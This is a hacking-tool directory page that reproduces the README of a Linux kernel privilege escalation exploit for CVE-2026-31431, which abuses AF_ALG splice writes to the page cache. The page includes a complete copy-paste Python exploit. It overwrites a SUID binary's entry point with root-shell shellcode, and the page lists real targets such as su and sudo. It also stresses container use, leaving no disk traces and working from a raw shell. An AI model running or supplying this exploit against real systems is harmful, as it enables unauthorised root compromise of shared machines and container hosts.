Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-31431-CopyFail-Universal-LPE — CVE-2026-31431 Copy Fail — Universal LPE exploit. Dynamic ELF offset + full-binary overwrite, Python 2/3 compatible with ctypes splice fallback | Kitploit
Tools/GitHubGitHub/shadowabi/cve-2026-31431-copyfail-universal-lpe
Privilege EscalationContainer SecurityExploit FrameworksVulnerability AnalysisExploitationPenetration TestingRed TeamingPayload DevelopmentBinary Exploitation

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHubshadowabi/cve-2026-31431-copyfail-universal-lpe

CVE-2026-31431-CopyFail-Universal-LPE

CVE-2026-31431 Copy Fail — Universal LPE exploit. Dynamic ELF offset + full-binary overwrite, Python 2/3 compatible with ctypes splice fallback

View Repository
5812275 months agoReviewed by Kitploit

CVE-2026-31431 "Copy Fail" — Universal LPE Exploit

Linux kernel page cache 4-byte arbitrary write → Local Privilege Escalation

Multiple exploit approaches: dynamic ELF entry point overwrite, full binary replacement, Python 3.x compatible with ctypes splice fallback.

What is this?

CVE-2026-31431 is a vulnerability in the Linux kernel's AF_ALG crypto subsystem. By abusing splice() + authencesn in-place decryption, an unprivileged user can write 4 bytes at an arbitrary offset in the kernel's page cache — the same cache used for all file-backed memory.

This means:

  • No race conditions — single-threaded, deterministic
  • No special privileges — works inside default Docker containers (seccomp allows AF_ALG)
  • No kernel version dependency — affects all kernels from 2017 to present
  • Modifies files in memory only — disk is untouched, reboot erases all traces

Exploit Approaches

This repository provides three tools using the same AF_ALG copy-fall primitive:

Dynamic Entry PointFull Binary ReplaceVuln Checker
Fileexploit.pypoc_compatible.pycheck_cve.sh
StrategyOverwrites ELF entry point with shellcodeReplaces entire binary from offset 0Tests if target is vulnerable
TargetAny x86_64 SUID binaryAny binary (SUID or not)N/A
Python3.x (all versions)2 / 3Bash
Payload36 bytes shellcodezlib-compressed full ELFN/A
AuthorThis workh4ppy7reeh4ppy7ree

Dynamic entry point — Parses the ELF header at runtime to calculate the entry point file offset (p_offset + (e_entry - p_vaddr)), then writes a small shellcode stub. No hardcoded offsets — one script works on any x86_64 SUID binary regardless of distribution or version.

Full binary replace — Overwrites the target from offset 0 with a complete pre-built ELF payload (zlib-compressed and embedded in the script). Can target non-SUID binaries executed by privileged processes (cron jobs, systemd services, kube-proxy). Works with Python 2.

Vulnerability checker — Tests whether the target system has AF_ALG, authencesn, and algif_aead available before running an exploit.

Quick Start

Prerequisites

  • Linux kernel (any version since ~2017)
  • Python 3.x (for exploit.py; Python 2 supported via poc_compatible.py)
  • Any SUID-root binary (/usr/bin/su, /usr/bin/sudo, etc.)

One-liner Reproduction

# Create a test container with an unprivileged user
docker run -ti --rm ubuntu:22.04 bash -c '
  sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
  apt-get update -qq && apt-get install -y -qq python3 gcc
  cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
    printf("uid=%d euid=%d\\n", getuid(), geteuid());
    printf("Not rooted - exploit entry point to get shell\\n");
    return 0;
}
EOF
  gcc -o /usr/local/bin/verify /tmp/verify.c
  chmod 4755 /usr/local/bin/verify
  useradd -m testuser
  su - testuser
'

Then inside the container as testuser:

# Before: setuid(0) fails because real uid is not 0
/usr/local/bin/verify
# uid=1000 euid=0
# (exits normally, no root)

# Run the exploit
python3 exploit.py /usr/local/bin/verify

# After: entry point overwritten, shellcode gets root
# uid=0(root) gid=1000(testuser)

One-liner (no file transfer needed)

In real scenarios you often only have a raw shell — no scp, no curl, no wget. This method uses cat heredoc to write the exploit directly in terminal:

# Option 1: run the shell script
sh exploit-one-liner.sh /usr/local/bin/verify

# Option 2: paste directly into terminal (copy the entire block)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
 _l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
 def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
  ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
  if r==-1:raise OSError(ctypes.get_errno(),'splice')
  return r
 os.splice=_s
def d(x):
 if isinstance(x,str):x=x.encode('ascii')
 return binascii.unhexlify(x)
def w(t,o,p):
 s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
 s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
 u,_=s.accept();z=d('00')
 u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
 r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
 try:u.recv(8+o)
 except:0
 [os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
 for i in range(n):
  f.seek(p+i*sz);ph=f.read(sz)
  if struct.unpack_from('<I',ph,0)[0]!=1: continue
  pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
  if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
 w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
 print("  wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
 f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY

python3 /tmp/exploit.py /usr/local/bin/verify

Why this matters: Container environments often lack file transfer tools (scp, curl, wget). The heredoc method requires only cat and python3 — available everywhere.

Targeting Other SUID Binaries

You can replace /usr/local/bin/verify with any SUID-root binary:

python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh

⚠️ Warning: Targeting system SUID binaries (like /usr/bin/su) affects all users on the system. The binary becomes unusable until page cache is cleared. On the host machine, any user running su would get a root shell.

On a shared/production system, this is immediately noticeable — su will crash or spawn unexpected shells for everyone. Use verify.c for safe testing.

Recovery

The exploit only modifies page cache (memory), not disk. Recovery options:

MethodWhereCommand
Drop page cacheHost (root)echo 3 > /proc/sys/vm/drop_caches
RebootAnywherereboot — page cache is volatile
Container destroyedAnywheredocker rm — page cache released with container
# On the host (after container testing):
echo 3 | sudo tee /proc/sys/vm/drop_caches

# Verify recovery:
xxd -l 8 /usr/bin/su
# Should show: 7f45 4c46 (.ELF)

Note: Inside a default (non-privileged) container, echo 3 > /proc/sys/vm/drop_caches fails with Read-only file system — this requires host access or container destruction.

Attack Surface

Download Tool